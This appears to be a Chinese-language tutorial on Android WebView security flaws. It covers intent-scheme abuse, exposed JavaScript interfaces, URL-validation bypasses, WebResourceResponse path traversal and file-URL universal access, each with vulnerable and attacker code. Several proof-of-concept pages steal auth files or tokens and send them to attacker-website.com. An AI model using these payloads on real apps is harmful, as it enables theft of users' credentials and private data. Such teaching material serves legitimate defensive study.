# Android WebView漏洞

WebView是显示网页的View。WebView 对象将 Web 内容显示为活动布局的一部分,但缺少一些正常浏览器的一些功能

0x00 访问任意组件

Intent类允许开发使用toUri(flags)方法将意图转换为包含其 URI 表示形式的字符串,并使用[parseUri(stringUri, flags)](https://developer.android.com/reference/android/content/Intent#parseUri(java.lang.String, int))方法从此 URI 创建Intent。应用程序可以使用它来将带有方案的 URL 解析为Intent,并在 WebView 中处理 URL 时启动活动。如果处理未正确实现,您可以访问应用程序的任意组件。

开发人员可以重写WebViewClient 类的[shouldOverrideUrlLoading()方法来处理在 WebView 中加载新链接的所有工作。](https://developer.android.com/reference/android/webkit/WebViewClient#shouldOverrideUrlLoading(android.webkit.WebView, android.webkit.WebResourceRequest))错误处理的示例如下所示:

受害者应用:

1
2
3
4
5
6
7
8
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if ("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}

受害者Activity:

1
2
// AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

以上代码为 URL 添加了一个自定义处理程序,其intent方案使用传递的 URL 启动新活动。您可以通过创建 WebView 并将其重定向到特制的intent-schemeURL 来利用此错误进行攻击:

攻击者代码如下:

1
2
3
4
5
6
7
// Intent-scheme URL creation
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
String url = intent.toUri(Intent.URI_INTENT_SCHEME);
// "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end"
Log.d("d", url);

或者使用js代码进行重定向启动:

1
2
// Redirect within WebView
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end";

但是,有几个限制:

参考:

0x01 添加Javascript接口

[addJavascriptInterface](https://developer.android.com/reference/android/webkit/WebView#addJavascriptInterface(java.lang.Object, java.lang.String))方法将提供的 Java 对象注入到此 WebView 中。使用提供的名称将该对象注入到网页的所有框架。iframes允许从 JavaScript 访问 Java 对象的方法(无法访问 Java 对象的字段)。

根据泄露的javascript的接口具体实现,可以进行不同攻击。

该方法可以向 JavaScript 提供数据,甚至允许 JavaScript 控制主机应用程序。例如,以下接口正在泄漏用户令牌:getToken()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class DefaultJavascriptInterface {
Context context;

public DefaultJavascriptInterface(Context c) {
this.context = c;
}

@JavascriptInterface
public getToken() {
SharedPreferences sharedPref = context.getSharedPreferences(getString(
R.string.preference_file_key),
Context.MODE_PRIVATE
);
return sharedPref.getString(getString(R.string.token_key), "")
}
}
1
2
3
4
5
6
7
8
9
10
public class DefaultActivity extends Activity {
// ...

public void loadWebView() {
WebView webView = (WebView)findViewById(R.id.web_view);
webView.getSettings().setJavaScriptEnabled(true);
webView.addJavascriptInterface(new DefaultJavascriptInterface(this), "DefaultJavascriptInterface")
// ...
}
}

攻击代码:

1
2
3
<script>
alert("Token: " + DefaultJavascriptInterface.getToken());
</script>

其他示例

受害者代码:

首先需要设置Javascript

1
mWebView.addJavascriptInterface(new com.grab.pax.support.ZendeskSupportActivity.WebAppInterface(this), "Android");

然后Java的具体实现

1
2
3
4
5
@android.webkit.JavascriptInterface
public final java.lang.String getGrabUser() {
//...
return com.grab.base.p167l.GsonUtils.m7210a(zendeskSupportActivity.getMPresenter().getGrabUser());
}

攻击者代码:

1
2
3
4
5
6
7
<!DOCTYPE html>
<html>
<head><title>Page 1</title></head>
<body style="text-align: center;">
<h1><a href="grab://open?screenType=HELPCENTER&amp;page=https://s3.amazonaws.com/edited/page2.html">Begin attack!</a></h1>
</body>
</html>

page2.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head><title>Page 2</title></head>
<body style="text-align: center;">
<script type="text/javascript">
var data;
if(window.Android) { // Android
data = window.Android.getGrabUser();
}
if(data) {
document.write("Stolen data: " + data);
}
</script>
</body>
</html>

以上代码可以获取泄露的getGrabUser数据

参考:

0x02 绕过URL验证

1.滥用反射

android.net.Uri是一个抽象类,具有一些内部类,允许您使用android.net.Uri$HierarchicalUri.

假设应用程序实现以下验证:

受害者类:

1
2
3
4
5
6
7
8
9
// AuthWebViewActivity 
Uri uri = getIntent().getData();
boolean isOurDomain =
"https".equals(uri.getScheme())
&& uri.getUserInfo() == null
&& "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
webView.load(uri.toString(), getAuthHeaders());
}

在这种情况下,您可以构建一个将通过验证的 URL,但调用uri.toString()将返回攻击者的网站:

攻击者代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Uri uri;
try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);

Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);

Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);

Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
Object path = pathPartConstructor.newInstance("@attacker-website.com", "@attacker-website.com");
uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
// uri.getScheme() == https
// uri.getUserInfo() == null
// uri.getHost() == legitimate.com
// uri.toString() == https://legitimate.com@attacker-website.com
}
catch (Exception e) {
throw new RuntimeException(e);
}

Intent intent = new Intent();
intent.setData(uri);
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
startActivity(intent);

上面基于反射最终实现的效果类似与URL跳转漏洞的常见绕过方式形如:https://legitimate.com@attacker-website.com, 即通过特殊符号@进行验证绕过。

2.parse异常

android.net.Uri无法识别权限部分中的反斜杠(但会引发异常),这允许您绕过 URL 验证例如,易受攻击的代码可能如下所示:java.net.URI

1
2
3
4
5
6
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
// or
// webView.loadUrl(uri.toString());
}

在这种情况下,可以使用反斜杠绕过限制:

1
2
3
4
5
6
String url = "http://attacker-website.com\\\\@legitimate.com/path";
String host = Uri.parse(url).getHost();
// The "host" variable contains the "legitimate.com" value
Log.d("d", host);
// WebView loads the attacker-website.com
webView.loadUrl(url, getAuthorizationHeaders());

3.缺少scheme验证

如果应用程序不验证scheme值(但可能验证host值),您可以尝试使用javascriptfileschemas URL 来绕过:

1
2
3
javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html

0x03 设置WebContentsDebuging Enabled

setWebContentsDebuggingEnabled可以调试加载到应用程序的任何 WebView 中的 Web 内容 (HTML/CSS/JavaScript)。使用此标志是为了促进 Web 布局和 WebView 内运行的 JavaScript 代码的调试。

1
WebContentsDebugging不受application manifest中debuggable标志状态的影响。

启用此标志允许您在应用程序的任何 WebView 中执行任意 JavaScript 代码。

参考:

:Android 访问应用程序受保护的组件

Android 应用中绕过主机验证的黄金技术

WebView 漏洞

# WebResourceResponse 漏洞

0x00 WebResourceResponse概述

WebResourceResponse是一个类,允许 Android 应用程序通过拦截请求并从应用程序代码本身返回任意内容(包括状态代码、内容类型、内容编码、标头和响应正文)来模拟 WebView 中的服务器,而无需执行任何实际操作向服务器发出请求。

0x01安全问题

1.访问任意文件

如果您控制返回文件的路径并具有 XSS 或能够在 WebView 内打开任意链接,则可以通过 XHR 请求访问任意文件。

例如,如果有下面的WebResourceResponse实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
WebView webView = findViewById(R.id.webView);
webView.setWebViewClient(new WebViewClient() {
public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if (uri.getPath().startsWith("/local_cache/")) {
File cacheFile = new File(getCacheDir(), uri.getLastPathSegment());
if (cacheFile.exists()) {
InputStream inputStream;
try {
inputStream = new FileInputStream(cacheFile);
} catch (IOException e) {
return null;
}
Map<String, String> headers = new HashMap<>();
headers.put("Access-Control-Allow-Origin", "*");
return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
}
}
return super.shouldInterceptRequest(view, request);
}
});

攻击的 PoC 可能如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!DOCTYPE html>
<html>
<head>
<title>Evil page</title>
</head>
<body>
<script type="text/javascript">
function theftFile(path, callback) {
var oReq = new XMLHttpRequest();

oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true);
oReq.onload = function(e) {
callback(oReq.responseText);
}
oReq.onerror = function(e) {
callback(null);
}
oReq.send();
}

theftFile("shared_prefs/auth.xml", function(contents) {
location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents);
});
</script>
</body>
</html>

在上面的示例中,攻击是可能的,因为Uri.getLastPathSegment()返回一个解码值,该值用于生成行内的文件路径new File(getCacheDir(), uri.getLastPathSegment())

像 CORS 这样的策略仍然在 WebView 中起作用。因此,any.domain如果没有标头,则不允许向 发送请求Access-Control-Allow-Origin: *。但是,此限制不会影响此 PoC,因为WebResourceResponse实施检查仅使用 URL 路径,并且您可以替换any.domain为当前源。

参考:

Android :探索WebResourceResponse

Web资源响应漏洞

# WebSettings 漏洞

0x00 WebSettings概述

WebSettings管理 WebView 的设置状态。首次创建 WebView 时,它会获得一组默认设置。从WebView#getSettings()获取的 WebSettings 对象与 WebView 的生命周期相关。

0x02 安全问题

setAllowUniversalAccessFromFileURLs

s

setAllowUniversalAccessFromFileURLs设置是否允许文件方案 URL 上下文中的跨源请求访问来自任何源的内容。这包括从其他文件方案 URL 或 Web 上下文访问内容。默认值是false从 Android 4.1 开始。

此方法在 API 级别 30 中已弃用

启用此设置允许在上下文中加载恶意脚本file://来发起跨站点脚本攻击,访问任意本地文件,包括 WebView cookie、应用程序私有数据,甚至是任意网站上使用的凭据。

例如,如果应用程序允许您在 WebView 中打开任意链接,您可以传递包含以下内容的共享 html 文件的路径来窃取私有文件:

1
2
3
4
5
6
7
8
9
10
11
12
<!-- file:///sdcard/index.html -->
<script>
var url = 'file:///data/data/com.victim.app/internal_folder/private_file.txt';
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
fetch('https://attacker-website.com/?content=' + btoa(xhr.responseText));
}
}
xhr.open('GET', url, true);
xhr.send('');
</script>

Web设置漏洞